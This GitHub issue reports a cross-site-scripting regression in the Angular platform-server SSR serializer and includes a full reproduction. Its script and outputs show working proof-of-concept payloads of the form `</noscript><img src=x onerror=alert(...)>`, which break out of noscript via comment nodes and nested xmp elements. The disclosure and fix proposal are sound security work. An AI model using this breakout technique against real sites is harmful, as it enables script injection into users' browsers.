Skip to content

SSR serializer no longer escapes </noscript> in comment and nested raw-text child nodes (regression in 22.0.7) #70050

Description

@VenkatKwest

Which @angular/* package(s) are the source of the bug?

platform-server

Is this a regression?

Yes. Identical input, identical code, only the version differs:

@angular/platform-server@22.0.6
  <noscript><!--&lt;/noscript><img src=x onerror=alert(1)>--></noscript>
  BREAKOUT: false

@angular/platform-server@22.0.7
  <noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>
  BREAKOUT: true

The behaviour changed in the bundled domino commit f88e5aa ("fix: escape fallback raw-content text nodes"), which narrowed an existing escape:

- if (hasRawContent[upperTag]) {
+ if (hasRawContent[upperTag] && !hasRawContentFallback[upperTag]) {
      ss = escapeMatchingClosingTag(ss, tagname);
  }

Before that change this escaped the ancestor closing tag anywhere in the element's serialized children. It no longer runs for iframe, noembed, noscript, noframes.

Description

f88e5aa replaced the element-level escape with escapeFallbackRawText(), which is applied only to direct text children. serializeOne() dispatches on node type, so two other child-node types now emit the ancestor closing tag verbatim:

  1. Comment nodes — serialized as '<!--' + escapeClosingCommentTag(kid.data) + '-->'. escapeClosingCommentTag() escapes only -->, never </noscript>.
  2. Nested non-fallback raw-text elements (xmp, plaintext) — serialized via escapeMatchingClosingTag(ss, 'xmp'), which escapes only that element's own closing tag, never the ancestor's.

In both cases the <noscript> is terminated at the emitted </noscript> and the following markup is parsed as live HTML in the page origin.

Reproduced for all four fallback elements (noscript, iframe, noembed, noframes) and at depth (<noscript><div><xmp>{{ v }}</xmp></div></noscript>).

Angular's escapeCommentText() does not cover case 1. Its regex is /^>|^->|<!--|-->|--!>|<!-$/g, which matches comment delimiters only, so </noscript> passes through unchanged.

Two shapes reach this from application code:

// 1. comment node inside a fallback raw-text element
renderer.appendChild(noscriptEl, renderer.createComment(value));
<!-- 2. interpolation into a nested xmp/plaintext element -->
<noscript><xmp>{{ value }}</xmp></noscript>

Not affected: <noscript>{{ value }}</noscript> is correctly escaped. <style> and <script> in component templates are stripped by the template compiler and are not reachable this way.

Please provide a link to a minimal reproduction of the bug

Node SSR reproduction, inline below.

1. Install

mkdir ng-noscript-repro && cd ng-noscript-repro
npm init -y
npm pkg set type=module
npm install @angular/core@22.1.0 @angular/common@22.1.0 @angular/compiler@22.1.0 \
            @angular/platform-browser@22.1.0 @angular/platform-server@22.1.0 \
            rxjs@7 zone.js tslib

2. Save as repro.mjs

import '@angular/compiler';
import 'zone.js';
import { Component, ElementRef, Renderer2, inject } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';
import { provideServerRendering, renderApplication } from '@angular/platform-server';
import http from 'node:http';

const p = (n) => `</noscript><img src=x onerror="alert('${n} @ '+origin)">`;

const AppComponent = Component({
  selector: 'app-root',
  standalone: true,
  template: `
<div id="case1"><noscript>{{ p1 }}</noscript></div>
<div id="case2"><noscript><xmp>{{ p2 }}</xmp></noscript></div>
<div id="case3"><noscript id="host"></noscript></div>`,
})(
  class {
    p1 = p('case1');
    p2 = p('case2');
    r = inject(Renderer2);
    el = inject(ElementRef);
    ngAfterViewInit() {
      const host = this.el.nativeElement.querySelector('noscript#host');
      this.r.appendChild(host, this.r.createComment(p('case3')));
    }
  }
);

const html = await renderApplication(
  (ctx) => bootstrapApplication(AppComponent, { providers: [provideServerRendering()] }, ctx),
  { document: '<!DOCTYPE html><html><head></head><body><app-root></app-root></body></html>' }
);

for (const id of ['case1', 'case2', 'case3']) {
  const out = html.match(new RegExp(`<div id="${id}">([\\s\\S]*?)</div>`))[1];
  const broke = /<\/noscript><img/.test(out);
  console.log(`${broke ? 'BREAKOUT' : 'SAFE    '}  ${id}\n          ${out}\n`);
}

const body = html.match(/<app-root[^>]*>([\s\S]*?)<\/app-root>/)[1];
http
  .createServer((_, res) => {
    res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
    res.end(`<!DOCTYPE html><html><body>${body}</body></html>`);
  })
  .listen(8899, () => console.log('serving http://localhost:8899/'));

3. Run

node repro.mjs

Actual output:

SAFE      case1
          <noscript>&lt;/noscript&gt;&lt;img src=x onerror="alert('case1 @ '+origin)"&gt;</noscript>

BREAKOUT  case2
          <noscript><xmp></noscript><img src=x onerror="alert('case2 @ '+origin)"></xmp></noscript>

BREAKOUT  case3
          <noscript id="host"><!--</noscript><img src=x onerror="alert('case3 @ '+origin)">--></noscript>

serving http://localhost:8899/

Case 1 is escaped. Cases 2 and 3 contain a literal, unescaped </noscript>.

4. Confirm in a browser

Open http://localhost:8899/. Two alert() dialogs fire (case2, case3).

DOM state after load:

{
  "noscript_count": 3,
  "imgs_escaped_into_dom": 2,
  "case2_noscript_children": ["3:<xmp>"],
  "case3_noscript_children": ["3:<!--"],
  "case2_img_parent": "DIV",
  "case3_img_parent": "DIV"
}

Each affected <noscript> retains only a truncated text node (<xmp>, <!--); both <img onerror> elements are live children of DIV, outside the <noscript>.

5. Confirm the regression across released versions

mkdir vercheck && cd vercheck
npm pack @angular/platform-server@22.0.6
npm pack @angular/platform-server@22.0.7
mkdir -p x22.0.6 x22.0.7
tar -xzf angular-platform-server-22.0.6.tgz -C x22.0.6
tar -xzf angular-platform-server-22.0.7.tgz -C x22.0.7

Save as t.mjs:

const PAYLOAD = '</noscript><img src=x onerror=alert(1)>';
for (const v of ['22.0.6', '22.0.7']) {
  const mod = await import(`./x${v}/package/third_party/domino/bundled-domino.mjs`);
  const d = mod.default ?? mod;
  const doc = d.createDocument('<!DOCTYPE html><html><body></body></html>');
  const ns = doc.createElement('noscript');
  doc.body.appendChild(ns);
  ns.appendChild(doc.createComment(PAYLOAD));
  const out = ns.outerHTML;
  console.log(`platform-server ${v}`);
  console.log(`  ${out}`);
  console.log(`  BREAKOUT: ${/<\/noscript><img/.test(out)}\n`);
}
node t.mjs

Actual output:

platform-server 22.0.6
  <noscript><!--&lt;/noscript><img src=x onerror=alert(1)>--></noscript>
  BREAKOUT: false

platform-server 22.0.7
  <noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>
  BREAKOUT: true

Suggested fix

In serializeOne(), apply ancestor-closing-tag escaping to the remaining child-node types when the parent is a fallback raw-content element:

  • Comment branch: escape the ancestor closing tag in kid.data, in addition to the existing escapeClosingCommentTag().
  • Element branch: when a non-fallback raw-text element (style, script, xmp, plaintext) is nested inside a fallback raw-content element, escape its serialized content against the nearest fallback ancestor's tag name, not only its own.

Please provide the environment you discovered this bug in

@angular/platform-server  22.1.0
@angular/core             22.1.0
Node.js                   v25.6.0
OS                        Windows 11
Browsers                  Chrome, Firefox

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: serverIssues related to server-side renderinggemini-triagedLabel noting that an issue has been triaged by gemini

    Type

    No type

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions